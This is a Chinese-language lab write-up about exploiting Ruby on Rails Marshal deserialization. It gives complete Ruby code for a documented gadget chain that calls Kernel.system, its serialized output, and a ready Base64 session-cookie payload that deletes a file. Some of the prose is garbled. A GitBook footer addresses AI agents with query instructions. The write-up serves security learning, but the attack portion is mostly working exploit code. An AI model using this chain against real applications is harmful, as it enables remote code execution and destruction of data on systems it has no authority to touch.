> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/deserialization/ruby-deserialization-with-documented-gadget-chain.md).

# 带文档化 gadget 的 Ruby 反序列化

### 利用已公开文档的 Gadget 链进行 Ruby 反序列化利用

**实验背景**

本实验使用基于序列化的会话机制，并基于 **Ruby on Rails** 框架。/ 有公开记录的\*\* gadget，可通过 \*\* 远程代码执行（NCE）\*\*，经由 `Marshal`.

目标：/ 创建一个恶意序列化对象，注入到会话 Cookie 中并删除文件：

```bash
/home/carlos/morale.txt
```

提供的标识符：

wiener : peter

**会话分析**

身份验证后，服务器会以 Base64 形式提供一个已序列化的会话 Cookie：

{% code overflow="wrap" %}

```bash
BAhvOglVc2VyBzoOQHVzZXJuYW1lSSILd2llbmVyBjoGRUY6EkBhY2Nlc3NfdG9rZW5JIiV6YmI1YWVjejlrZXJzajU3bHZsanloaXQyanR6aTNsMgY7B0YK
```

{% endcode %}

这清楚地表明在 `Marshal.dump` 在服务器端被使用。

使用基于以下 Ruby 类的已公开文档记录的 gadget 字符串：

* `Gem::SpecFetcher`
* `Gem::Installer`
* `Gem::Requirement`
* `Gem::RequestSet`
* `Net::WriteAdapter`
* `Gem::Package::TarReader`

该字符串会触发对 `Kernel.system`.

**Ruby 负载构造**

下面的代码用于创建一个执行目标命令的已序列化对象：

```ruby
# 自动加载所需类
Gem::SpecFetcher
Gem::Installer

# 防止负载在我们 Marshal.dump 它时运行
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end

wa1 = Net::WriteAdapter.new(Kernel, :system)

rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")

wa2 = Net::WriteAdapter.new(rs, :resolve)

i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")


n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)

t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)

r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)

payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts payload
```

```ruby
[cGem::SpecFetchercGem::InstallerU:Gem::Requirement[o:
Gem::Package::TarReader:@ioo:Net::BufferedIO;o:#Gem::Package::TarReader::Entry:
@readi:
@headerI"aaa:ET:@debug_outputo:Net::WriteAdapter:
@socketo:Gem::RequestSet:
@setso;;m
Kernel:@method_id:
system:
@git_setI"rm /home/carlos/morale.txt;
T;:
resolve
```

<figure><img src="/files/66640bd582e39119f834ba1d574001aa4613e589" alt=""><figcaption></figcaption></figure>

**Base64 编码**

为了将负载注入会话 Cookie，需要将其编码为 Base64：

```java
puts Base64.encode64(payload)
```

最终得到的链：

{% code overflow="wrap" %}

```bash
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==
```

{% endcode %}

<figure><img src="/files/c3c868bde5e50f66a8b97342c46c5ff3517c98cb" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/deserialization/ruby-deserialization-with-documented-gadget-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.